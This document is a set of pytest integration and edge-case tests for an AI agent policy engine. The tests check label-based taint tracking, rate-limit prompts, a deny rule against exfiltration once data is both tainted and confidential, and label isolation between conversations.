conv = conv_store.create_conversation()
policy_store = SqlAlchemyPolicyStore(db_uri)
policy_store.create(
policy_id="pol_session",
session_id=conv.id,
name="session_policy",
type="python",
handler=handler,
)
policy_store.create_default(
policy_id="dpol_db",
name="db_default_policy",
type="python",
handler=handler,
)
_DEFAULT_POLICY_SPECS_CACHE.clear()
engine = build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conv_store,
default_policies=[yaml_admin_policy],
policy_store=policy_store,
)
names = [p.spec.name for p in engine.policies]
assert names == [
"session_policy",
"agent_policy",
"db_default_policy",
"yaml_admin_policy",
"__ask_on_add_policy",
]
@@ -0,0 +1,300 @@
"""
Combined integration tests — all three policy types together.
Builds a PolicyEngine from the ``combined-policies`` fixture
and exercises scenarios that would only surface when multiple
policy subclasses interact. This is the most comprehensive
e2e proxy available until the workflow.py integration lands.
Assertions cover:
- FunctionPolicy composition on the same
tool name (taint + rate-limit on web_search).
- FunctionPolicy observer policy (``observe_writes``) always ALLOWs.
- Multi-label DENY gate (`deny_exfil`): fires only when BOTH
integrity and sensitivity labels are tainted.
- End-to-end IFC sequence: clean → web search taints
integrity → confidential read elevates sensitivity →
write_file fires `deny_exfil`.
- Rate-limit ASK + condition-gate DENY compose correctly.
- Monotonic label cache semantics (via the store layer).
These tests exercise the real parse → build → evaluate →
persist pipeline for every declared policy type.
"""
from __future__ import annotations
from pathlib import Path
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies import (
_enforce_policy,
build_policy_engine,
)
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec import load
from omnigent.spec.types import (
Phase,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
_FIXTURE = Path(__file__).resolve().parents[2] / "_fixtures" / "agents" / "combined-policies"
def _engine(store: SqlAlchemyConversationStore) -> PolicyEngine:
"""Build a fresh engine from the combined-policies fixture."""
spec = load(_FIXTURE)
conv = store.create_conversation()
return build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=store,
)
def _tool(name: str, args: dict[str, object] | None = None) -> EvaluationContext:
"""TOOL_CALL context helper."""
return EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": name, "arguments": args or {}},
tool_name=name,
)
# ── Happy-path smoke ──────────────────────────────────
@pytest.mark.asyncio
async def test_initial_labels_seeded_from_combined_spec(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""All declared initial values are seeded on build."""
engine = _engine(conversation_store)
assert engine.labels == {"integrity": "1", "sensitivity": "public"}
@pytest.mark.asyncio
async def test_clean_state_allows_write_file(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Before any taint, write_file passes — neither
deny_exfil nor observe_writes blocks."""
engine = _engine(conversation_store)
r = await _enforce_policy(
engine,
_tool("write_file", {"path": "x.txt", "content": "hi"}),
)
assert r.action == PolicyAction.ALLOW
# ── Multi-policy interaction on web_search ────────────
@pytest.mark.asyncio
async def test_web_search_first_call_taints_and_allows(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""First web_search: taint policy taints integrity AND
FunctionPolicy allows (within budget). Both policies
fire on the same tool; both contribute to the result."""
engine = _engine(conversation_store)
r = await _enforce_policy(engine, _tool("web_search", {"q": "x"}))
assert r.action == PolicyAction.ALLOW
assert engine.labels["integrity"] == "0"
# Verify persistence round-trip — the taint policy's
# set_labels made it through the store, not just the
# hot cache.
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels["integrity"] == "0"
@pytest.mark.asyncio
async def test_web_search_over_budget_asks(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""After 2 free calls, the 3rd web_search ASKs.
FunctionPolicy's ASK wins because the taint policy returned
ALLOW; composition: ALLOW+ASK → ASK."""
engine = _engine(conversation_store)
# Exhaust budget.
await _enforce_policy(engine, _tool("web_search", {"q": "q1"}))
await _enforce_policy(engine, _tool("web_search", {"q": "q2"}))
# 3rd call asks.
r = await _enforce_policy(engine, _tool("web_search", {"q": "q3"}))
assert r.action == PolicyAction.ASK
# First-ASKer-wins deciding_policy = search_rate_limit
# (order: taint_web first in YAML, but it's ALLOW;
# search_rate_limit is the first ASKer).
assert r.deciding_policy == "search_rate_limit"
# Reason names the policy + budget.
assert "search_rate_limit" in r.reason
# ── Classifier-only observe policy ────────────────────
@pytest.mark.asyncio
async def test_observe_writes_never_blocks(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""write_file (in clean state) passes through the
observe_writes policy without blocking."""
engine = _engine(conversation_store)
r = await _enforce_policy(
engine,
_tool("write_file", {"path": "out.txt"}),
)
assert r.action == PolicyAction.ALLOW
# ── Multi-label DENY gate ─────────────────────────────
@pytest.mark.asyncio
async def test_deny_exfil_requires_both_taints(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""deny_exfil's condition requires integrity=0 AND
sensitivity=confidential. A write with only one taint
passes; with both, it DENYs."""
engine = _engine(conversation_store)
# Taint only integrity.
await _enforce_policy(engine, _tool("web_search", {"q": "x"}))
assert engine.labels["integrity"] == "0"
assert engine.labels["sensitivity"] == "public"
# With only integrity tainted, write_file PASSES —
# condition is AND across both keys.
r1 = await _enforce_policy(
engine,
_tool("write_file", {"path": "x.txt"}),
)
assert r1.action == PolicyAction.ALLOW
# Now elevate sensitivity too.
await _enforce_policy(engine, _tool("read_confidential", {"id": "x"}))
assert engine.labels["sensitivity"] == "confidential"
# Now BOTH taints present → deny_exfil fires.
r2 = await _enforce_policy(
engine,
_tool("write_file", {"path": "y.txt"}),
)
assert r2.action == PolicyAction.DENY
assert r2.deciding_policy == "deny_exfil"
# Reason matches the YAML declaration.
assert "exfiltration" in r2.reason.lower()
@pytest.mark.asyncio
async def test_deny_exfil_covers_run_shell_too(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""The deny_exfil selector scopes to both write_file
and run_shell — same YAML entry, multi-tool selector."""
engine = _engine(conversation_store)
# Taint both labels.
await _enforce_policy(engine, _tool("web_search", {"q": "x"}))
await _enforce_policy(engine, _tool("read_confidential", {"id": "x"}))
# run_shell with both taints → DENY.
r = await _enforce_policy(
engine,
_tool("run_shell", {"cmd": "ls"}),
)
assert r.action == PolicyAction.DENY
assert r.deciding_policy == "deny_exfil"
# ── Full IFC sequence ─────────────────────────────────
@pytest.mark.asyncio
async def test_full_ifc_sequence(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""End-to-end simulation of a real agent turn sequence.
The canonical IFC bad-case:
1. Clean agent — write_file passes.
2. Web search runs — integrity taints to "0".
3. Confidential read runs — sensitivity elevates to "confidential".
4. Write attempt — DENY (both taints present).
If any step regresses, a production agent executing this
sequence would behave differently from the YAML's
declared intent."""
engine = _engine(conversation_store)
# Step 1: clean write allowed.
step1 = await _enforce_policy(
engine,
_tool("write_file", {"path": "clean.txt"}),
)
assert step1.action == PolicyAction.ALLOW
# Step 2: web_search taints.
step2 = await _enforce_policy(engine, _tool("web_search", {"q": "ext"}))
assert step2.action == PolicyAction.ALLOW
assert engine.labels["integrity"] == "0"
# Step 3: confidential read elevates sensitivity.
step3 = await _enforce_policy(
engine,
_tool("read_confidential", {"id": "doc-42"}),
)
assert step3.action == PolicyAction.ALLOW
assert engine.labels["sensitivity"] == "confidential"
# Step 4: tainted + confidential write DENIES.
step4 = await _enforce_policy(
engine,
_tool("write_file", {"path": "leak.txt"}),
)
assert step4.action == PolicyAction.DENY
assert step4.deciding_policy == "deny_exfil"
# Final store state matches the engine's hot cache.
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {"integrity": "0", "sensitivity": "confidential"}
# ── Persistence across engine rebuilds ────────────────
@pytest.mark.asyncio
async def test_labels_persist_across_engine_rebuild(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Building a second engine on the same conversation
picks up the labels written by the first. Models a real
workflow restart — without this, tainting would reset
every time the workflow replays."""
spec = load(_FIXTURE)
conv = conversation_store.create_conversation()
# First engine — taint integrity.
first = build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conversation_store,
)
await _enforce_policy(first, _tool("web_search", {"q": "x"}))
assert first.labels["integrity"] == "0"
# Second engine on the SAME conversation — hot cache
# seeds from the persisted state, which already has
# integrity="0" (the seed logic is idempotent:
# ON CONFLICT DO NOTHING leaves the "0" alone).
second = build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conversation_store,
)
assert second.labels["integrity"] == "0"
@@ -0,0 +1,284 @@
"""
Conversation-isolation tests.
Verifies that PolicyEngine instances bound to different
conversations keep their label state separate — no
cross-conversation leakage via the store.
Load-bearing: omnigent runs multiple concurrent
conversations against the same database. A bug that
leaked label state across conversations would break every
per-user IFC guarantee.
Covers:
- Two engines on different conversations — writes on one
invisible to the other.
- Label seed on a new conversation doesn't see another's
state.
- DENY on conversation A doesn't leak labels into B's hot
cache.
- Concurrent-build semantics (two engines built back-to-back
on the same conversation see identical state).
"""
from __future__ import annotations
from pathlib import Path
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies import build_policy_engine
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec import load
from omnigent.spec.types import (
Phase,
PhaseSelector,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from tests.runtime.policies.conftest import make_fixed_policy
_SECURE = Path(__file__).resolve().parents[2] / "_fixtures" / "agents" / "secure-research"
@pytest.mark.asyncio
async def test_different_conversations_have_isolated_labels(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Two engines on different conversations don't share
label state. Absolute baseline for multi-tenant
safety."""
spec = load(_SECURE)
conv_a = conversation_store.create_conversation()
conv_b = conversation_store.create_conversation()
engine_a = build_policy_engine(
spec=spec,
conversation_id=conv_a.id,
conversation_store=conversation_store,
)
engine_b = build_policy_engine(
spec=spec,
conversation_id=conv_b.id,
conversation_store=conversation_store,
)
# Taint on A.
await engine_a.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "web_search", "arguments": {"q": "x"}},
tool_name="web_search",
),
)
assert engine_a.labels["integrity"] == "0"
# B is untouched.
assert engine_b.labels["integrity"] == "1"
# Store-side round-trip confirms.
assert conversation_store.get_conversation(conv_a.id).labels["integrity"] == "0"
assert conversation_store.get_conversation(conv_b.id).labels["integrity"] == "1"
@pytest.mark.asyncio
async def test_deny_on_one_conversation_does_not_leak_to_other(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A DENY on conversation A shouldn't somehow change
B's reachable state — DENY short-circuits within the
engine instance only."""
spec = load(_SECURE)
conv_a = conversation_store.create_conversation()
conv_b = conversation_store.create_conversation()
engine_a = build_policy_engine(
spec=spec,
conversation_id=conv_a.id,
conversation_store=conversation_store,
)
engine_b = build_policy_engine(
spec=spec,
conversation_id=conv_b.id,
conversation_store=conversation_store,
)
# Taint both dimensions on A → now DENY on shell.
await engine_a.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "web_search", "arguments": {}},
tool_name="web_search",
),
)
await engine_a.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "read_internal_doc", "arguments": {}},
tool_name="read_internal_doc",
),
)
deny_result = await engine_a.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {}},
tool_name="run_shell",
),
)
assert deny_result.action == PolicyAction.DENY
# B — still clean — can run shell freely.
allow_result = await engine_b.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "run_shell", "arguments": {}},
tool_name="run_shell",
),
)
assert allow_result.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_seeding_isolated_across_conversations(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Seeding on conv_a does not trigger writes on conv_b.
Each call to ``build_policy_engine`` is scoped by
conversation_id — proved by observing B's state is
unchanged by A's seed."""
spec = load(_SECURE)
conv_a = conversation_store.create_conversation()
conv_b = conversation_store.create_conversation()
# Seed A. This writes {integrity: "1", confidentiality: "0"}.
build_policy_engine(
spec=spec,
conversation_id=conv_a.id,
conversation_store=conversation_store,
)
# B hasn't been built yet — no labels exist.
got_b_before = conversation_store.get_conversation(conv_b.id)
assert got_b_before is not None
assert got_b_before.labels == {}
# Now build B. Its own seeding lands.
build_policy_engine(
spec=spec,
conversation_id=conv_b.id,
conversation_store=conversation_store,
)
got_b_after = conversation_store.get_conversation(conv_b.id)
assert got_b_after is not None
# Same declared initials as A, but independently seeded.
assert got_b_after.labels == {"integrity": "1", "confidentiality": "0"}
@pytest.mark.asyncio
async def test_back_to_back_builds_same_conversation_see_same_state(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Two sequential builds on the same conversation
produce engines with identical hot caches — the seed
path is deterministic, and the persisted state is the
shared source of truth."""
spec = load(_SECURE)
conv = conversation_store.create_conversation()
engine_1 = build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conversation_store,
)
engine_2 = build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=conversation_store,
)
# Both see the seeded initials.
assert (
engine_1.labels
== engine_2.labels
== {
"integrity": "1",
"confidentiality": "0",
}
)
@pytest.mark.asyncio
async def test_parallel_conversations_with_different_specs(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Two conversations running different specs don't
conflate their label_defs. A label key that exists in
one spec's schema doesn't impose constraints on the
other's writes (labels are conversation-scoped; schemas
are spec-scoped)."""
from omnigent.spec.types import LabelDef
# Spec A: has a schema for `integrity`.
policy_a = make_fixed_policy(
name="write_integrity",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
set_labels={"integrity": "0"},
)
conv_a = conversation_store.create_conversation()
engine_a = PolicyEngine(
policies=[policy_a],
label_defs={
"integrity": LabelDef(values=["0", "1"]),
},
ask_timeout=30,
conversation_id=conv_a.id,
initial_labels={"integrity": "1"},
conversation_store=conversation_store,
)
# Spec B: no schema — schemaless writes allowed.
policy_b = make_fixed_policy(
name="write_anything",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
# B writes "integrity: 5" — which would violate
# A's enum but B has no schema.
set_labels={"integrity": "5"},
)
conv_b = conversation_store.create_conversation()
engine_b = PolicyEngine(
policies=[policy_b],
label_defs={}, # No schema for B.
ask_timeout=30,
conversation_id=conv_b.id,
initial_labels={},
conversation_store=conversation_store,
)
# Both evaluate.
await engine_a.evaluate(
EvaluationContext(phase=Phase.REQUEST, content="x"),
)
await engine_b.evaluate(
EvaluationContext(phase=Phase.REQUEST, content="x"),
)
# A's write landed (decreasing 1→0 is allowed).
assert engine_a.labels["integrity"] == "0"
# B's write landed too — B's schemaless policy accepts "5".
assert engine_b.labels["integrity"] == "5"
# Stores match.
assert (
conversation_store.get_conversation(
conv_a.id,
).labels["integrity"]
== "0"
)
assert (
conversation_store.get_conversation(
conv_b.id,
).labels["integrity"]
== "5"
)
+352
View File
@@ -0,0 +1,352 @@
"""
Edge-case tests for the policy system.
Scenarios that lurk at boundaries but are easy to miss
without explicit tests:
- Extremely empty states (no policies, no labels, etc.)
- Large numbers of policies / labels / evaluations
- Pathological content shapes
- Sequential evaluations in rapid succession
- Unicode / special characters in content
Each test proves the system handles the edge without
crashing, leaking state, or producing wrong decisions.
"""
from __future__ import annotations
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec.types import (
Phase,
PhaseSelector,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
from tests.runtime.policies.conftest import make_fixed_policy
def _build(
store: SqlAlchemyConversationStore,
policies: list,
*,
initial_labels: dict[str, str] | None = None,
) -> PolicyEngine:
"""Build engine + fresh conversation."""
conv = store.create_conversation()
return PolicyEngine(
policies=policies,
label_defs={},
ask_timeout=30,
conversation_id=conv.id,
initial_labels=initial_labels or {},
conversation_store=store,
)
# ── Completely empty ──────────────────────────────────
@pytest.mark.asyncio
async def test_zero_policies_zero_labels_always_allows(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Totally empty engine ALLOWs every phase, every tool,
every content. The absolute baseline."""
engine = _build(conversation_store, [])
for phase in Phase:
content = "x" if phase in (Phase.REQUEST, Phase.RESPONSE) else {}
r = await engine.evaluate(
EvaluationContext(phase=phase, content=content, tool_name=None),
)
assert r.action == PolicyAction.ALLOW, (
f"Empty engine should ALLOW {phase.value}, got {r.action}"
)
# ── Large scale ───────────────────────────────────────
@pytest.mark.asyncio
async def test_many_policies_compose_in_yaml_order(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""100 ALLOWing policies, each writing a distinct label,
compose correctly. Stress test for last-writer-wins
semantics + composition loop."""
policies = [
make_fixed_policy(
name=f"p{i:03d}",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
set_labels={f"key_{i}": str(i)},
)
for i in range(100)
]
engine = _build(conversation_store, policies)
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
# All 100 writes landed.
assert len(engine.labels) == 100
# Values are correct (last-writer-wins on distinct keys
# is trivial; this proves every write was processed).
for i in range(100):
assert engine.labels[f"key_{i}"] == str(i)
@pytest.mark.asyncio
async def test_many_sequential_evaluations(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""1000 evaluations on the same engine — no state
leakage, no accumulating slowdown. Proves hot-cache
reads + selector filter are O(policies), not O(history)."""
policy = make_fixed_policy(
name="taint",
on=[PhaseSelector(phase=Phase.TOOL_CALL, tool_name="web")],
action=PolicyAction.ALLOW,
set_labels={"integrity": "0"},
)
engine = _build(conversation_store, [policy])
for _ in range(1000):
r = await engine.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "web", "arguments": {}},
tool_name="web",
),
)
assert r.action == PolicyAction.ALLOW
# Label value pinned — every repeated write produced
# the same "0".
assert engine.labels == {"integrity": "0"}
# ── Pathological content ──────────────────────────────
@pytest.mark.asyncio
async def test_empty_string_content_input(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Empty-string content on INPUT — a policy that fires
still returns a normal result. No NullPointer-equivalents."""
policy = make_fixed_policy(
name="p",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
)
engine = _build(conversation_store, [policy])
r = await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content=""))
assert r.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_empty_dict_tool_args(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Tool call with no args still evaluates correctly."""
policy = make_fixed_policy(
name="p",
on=[PhaseSelector(phase=Phase.TOOL_CALL, tool_name="noop")],
action=PolicyAction.ALLOW,
)
engine = _build(conversation_store, [policy])
r = await engine.evaluate(
EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": "noop", "arguments": {}},
tool_name="noop",
),
)
assert r.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_unicode_content(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Unicode content (emoji, non-latin scripts) passes
through — no encoding issues on the content path."""
policy = make_fixed_policy(
name="p",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
)
engine = _build(conversation_store, [policy])
# Mix of emoji, CJK, RTL text.
r = await engine.evaluate(
EvaluationContext(
phase=Phase.REQUEST,
content=(
"\U0001f680 \u4f60\u597d \u0645\u0631\u062d\u0628\u0627 \u05e9\u05dc\u05d5\u05dd"
),
),
)
assert r.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_very_long_content(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""10 KB content string — no size-related failures in
the evaluation path."""
policy = make_fixed_policy(
name="p",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
)
engine = _build(conversation_store, [policy])
r = await engine.evaluate(
EvaluationContext(phase=Phase.REQUEST, content="A" * 10_000),
)
assert r.action == PolicyAction.ALLOW
# ── Label-value edge cases ────────────────────────────
@pytest.mark.asyncio
async def test_label_value_empty_string(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Label value "" (empty string) is still a valid
string and should persist. No implicit "empty = unset"
coercion."""
policy = make_fixed_policy(
name="write_empty",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
set_labels={"marker": ""},
)
engine = _build(conversation_store, [policy])
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert engine.labels == {"marker": ""}
@pytest.mark.asyncio
async def test_label_key_with_special_chars(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Label keys with dots, underscores, hyphens —
no key-mangling in the store round-trip."""
policy = make_fixed_policy(
name="p",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.ALLOW,
set_labels={
"namespace.label": "1",
"snake_case": "1",
"kebab-case": "1",
},
)
engine = _build(conversation_store, [policy])
await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert engine.labels == {
"namespace.label": "1",
"snake_case": "1",
"kebab-case": "1",
}
# Store round-trip — special chars survive.
conv = conversation_store.get_conversation(engine.conversation_id)
assert conv is not None
assert conv.labels == {
"namespace.label": "1",
"snake_case": "1",
"kebab-case": "1",
}
# ── Condition with list values + mixed types ─────────
@pytest.mark.asyncio
async def test_condition_list_with_single_element(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""`condition: {key: [only_one]}` — single-element list
behaves same as scalar string condition. The OR
semantics across list elements degenerate to "must
equal" when there's only one."""
policy = make_fixed_policy(
name="gated",
on=[PhaseSelector(phase=Phase.REQUEST)],
# Explicit list — not scalar. Must still match.
condition={"role": ["admin"]},
action=PolicyAction.DENY,
)
engine = _build(
conversation_store,
[policy],
initial_labels={"role": "admin"},
)
r = await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert r.action == PolicyAction.DENY
@pytest.mark.asyncio
async def test_many_keys_in_condition(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""AND across many condition keys — all must match to
fire. One missing match -> policy doesn't fire."""
policy = make_fixed_policy(
name="strict",
on=[PhaseSelector(phase=Phase.REQUEST)],
condition={
"a": "1",
"b": "2",
"c": "3",
"d": "4",
"e": "5",
},
action=PolicyAction.DENY,
)
# Exact match -> DENY.
engine_full = _build(
conversation_store,
[policy],
initial_labels={"a": "1", "b": "2", "c": "3", "d": "4", "e": "5"},
)
r_full = await engine_full.evaluate(
EvaluationContext(phase=Phase.REQUEST, content="x"),
)
assert r_full.action == PolicyAction.DENY
# One key off -> condition fails -> policy skipped.
engine_partial = _build(
conversation_store,
[policy],
initial_labels={"a": "1", "b": "2", "c": "3", "d": "4", "e": "wrong"},
)
r_partial = await engine_partial.evaluate(
EvaluationContext(phase=Phase.REQUEST, content="x"),
)
assert r_partial.action == PolicyAction.ALLOW
# ── Policy with empty reason string ───────────────────
@pytest.mark.asyncio
async def test_policy_empty_reason_preserved(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""A policy declared with no ``reason`` returns None on the
result. Absent-vs-empty distinction preserved."""
policy = make_fixed_policy(
name="deny_no_reason",
on=[PhaseSelector(phase=Phase.REQUEST)],
action=PolicyAction.DENY,
# No reason.
)
engine = _build(conversation_store, [policy])
r = await engine.evaluate(EvaluationContext(phase=Phase.REQUEST, content="x"))
assert r.action == PolicyAction.DENY
# reason is None, not empty string.
assert r.reason is None
@@ -0,0 +1,393 @@
"""
Integration tests for the full policy pipeline (Phase 5).
Loads agent fixtures ported from omnigent examples, builds
PolicyEngine via the real ``build_policy_engine``, and
exercises every declared policy through the ``_enforce_policy``
entry point that the workflow will use in later phases.
These tests DO touch the real persistence layer (SQLAlchemy
store), DO run the parser + validator, and DO exercise the
engine's composition semantics against real spec instances.
They are the closest thing to full e2e coverage available
before the workflow wiring lands — if a production agent
declared any of the three fixture YAMLs, it would behave
exactly as asserted here.
Fixture parity with omnigent example YAMLs:
- ``tests/_fixtures/agents/policies-demo/`` ↔
``omnigent/examples/agent_with_policies.yaml``
- ``tests/_fixtures/agents/rate-limited-search/`` ↔
``omnigent/examples/rate_limited_search_agent.yaml``
- ``tests/_fixtures/agents/secure-research/`` ↔
``omnigent/examples/secure_research_agent.yaml``
Corresponding omnigent test cases ported:
- ``test_label_examples.py::test_first_db_query_allowed_but_escalates``
- ``test_label_examples.py::test_second_db_query_requires_ask``
- ``test_label_examples.py::test_full_pipeline_happy_path``
- ``test_label_examples.py::test_direct_pii_blocks_external``
- ``test_label_examples.py::test_volume_limit_triggers_after_10``
- ``test_label_examples.py::test_clean_agent_calls_freely``
"""
from __future__ import annotations
from pathlib import Path
import pytest
from omnigent.policies.types import EvaluationContext
from omnigent.runtime.policies import (
_enforce_policy,
build_policy_engine,
)
from omnigent.runtime.policies.engine import PolicyEngine
from omnigent.spec import load
from omnigent.spec.types import (
Phase,
PolicyAction,
)
from omnigent.stores.conversation_store.sqlalchemy_store import (
SqlAlchemyConversationStore,
)
# Fixtures directory — same parent as this file's repo root.
_FIXTURES = Path(__file__).resolve().parents[2] / "_fixtures" / "agents"
def _load_engine(
fixture: str,
store: SqlAlchemyConversationStore,
) -> PolicyEngine:
"""
Parse an agent fixture and build a real PolicyEngine.
Uses the same code path a production workflow would:
parse → build_policy_engine → engine ready to evaluate.
:param fixture: Subdirectory name under
``tests/_fixtures/agents/``.
:param store: Conversation store for the engine to write
labels through.
:returns: PolicyEngine bound to a fresh conversation.
"""
spec = load(_FIXTURES / fixture)
conv = store.create_conversation()
return build_policy_engine(
spec=spec,
conversation_id=conv.id,
conversation_store=store,
)
def _tool_ctx(
name: str,
args: dict[str, object] | None = None,
) -> EvaluationContext:
"""Build a TOOL_CALL evaluation context mirroring what the workflow assembles."""
return EvaluationContext(
phase=Phase.TOOL_CALL,
content={"name": name, "arguments": args or {}},
tool_name=name,
)
# ──────────────────────────────────────────────────────────
# policies-demo fixture (agent_with_policies.yaml parity)
# ──────────────────────────────────────────────────────────
@pytest.mark.asyncio
async def test_policies_demo_allows_short_sleep(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Sleep with a short duration passes through the
FunctionPolicy. Mirrors the omnigent "Allowed" usage
example at the top of agent_with_policies.yaml."""
engine = _load_engine("policies-demo", conversation_store)
result = await _enforce_policy(
engine,
_tool_ctx("sleep", {"seconds": 2}),
)
assert result.action == PolicyAction.ALLOW
@pytest.mark.asyncio
async def test_policies_demo_denies_long_sleep(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Sleep over the threshold blocks. Mirrors the
omnigent "Blocked tool call" example at the top of
agent_with_policies.yaml."""
engine = _load_engine("policies-demo", conversation_store)
result = await _enforce_policy(
engine,
_tool_ctx("sleep", {"seconds": 8}),
)
assert result.action == PolicyAction.DENY
# Reason mentions the offending duration — operators
# debugging a blocked tool can see what drove the block.
assert "8" in result.reason
# Deciding policy is the FunctionPolicy block_long_sleep.
assert result.deciding_policy == "block_long_sleep"
@pytest.mark.asyncio
async def test_policies_demo_taint_then_ask_shell(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Composition: web_search taints integrity to "0";
subsequent run_shell matches `confirm_shell_after_taint`'s
condition → ASK. Demonstrates cross-phase label propagation
driving a condition gate."""
engine = _load_engine("policies-demo", conversation_store)
# Turn 1: web_search taints integrity.
r1 = await _enforce_policy(engine, _tool_ctx("web_search", {"q": "x"}))
assert r1.action == PolicyAction.ALLOW
assert engine.labels["integrity"] == "0"
# Turn 2: run_shell → ASK because condition matches now.
r2 = await _enforce_policy(
engine,
_tool_ctx("run_shell", {"cmd": "ls"}),
)
assert r2.action == PolicyAction.ASK
assert r2.deciding_policy == "confirm_shell_after_taint"
# ASK does NOT apply any accumulated writes — critical
# property tested here at the e2e layer too.
assert conversation_store.get_conversation(
engine.conversation_id,
).labels == {"integrity": "0"}
@pytest.mark.asyncio
async def test_policies_demo_initial_label_seeded(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""The declared initial integrity="1" is seeded on
engine build. Without this, the condition gate on
taint_web would never activate correctly (the label
would be absent, not "1")."""
engine = _load_engine("policies-demo", conversation_store)
# Matches YAML declaration.
assert engine.labels == {"integrity": "1"}
# ──────────────────────────────────────────────────────────
# rate-limited-search fixture
# ──────────────────────────────────────────────────────────
@pytest.mark.asyncio
async def test_rate_limited_search_first_three_allowed(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Ports omnigent ``test_first_db_query_allowed_but_escalates``
semantics. The first N calls pass; calls beyond the budget
ASK for approval (not DENY — lets the user extend the run
interactively)."""
engine = _load_engine("rate-limited-search", conversation_store)
# 3 allowed calls.
for i in range(3):
r = await _enforce_policy(
engine,
_tool_ctx("web_search", {"q": f"query {i}"}),
)
# Explicit per-iteration message so the failing index
# is obvious on regression.
assert r.action == PolicyAction.ALLOW, (
f"Call #{i + 1} should have been allowed; got {r.action}"
)
@pytest.mark.asyncio
async def test_rate_limited_search_fourth_asks(
conversation_store: SqlAlchemyConversationStore,
) -> None:
"""Ports omnigent ``test_second_db_query_requires_ask``
for our budget=3 policy: the 4th call crosses the budget
and the FunctionPolicy returns ASK."""
engine = _load_engine("rate-limited-search", conversation_store)
# Exhaust budget (calls 1-3 ALLOW).
for _ in range(3):
await _enforce_policy(
engine,
_tool_ctx("web_search", {"q": "x"}),
)
# 4th call asks.
r = await _enforce_policy(
engine,
_tool_ctx("web_search", {"q": "once more"}),
)
assert r.action == PolicyAction.ASK
# Reason mentions the exhaustion number for operator clarity.
assert "4" in r.reason
assert r.deciding_policy == "search_rate_limit"
@pytest.mark.asyncio
async def test_rate_limited_search_other_tools_not_gated(
conversation_store: SqlAlchemyConversationStore,
) -> None:
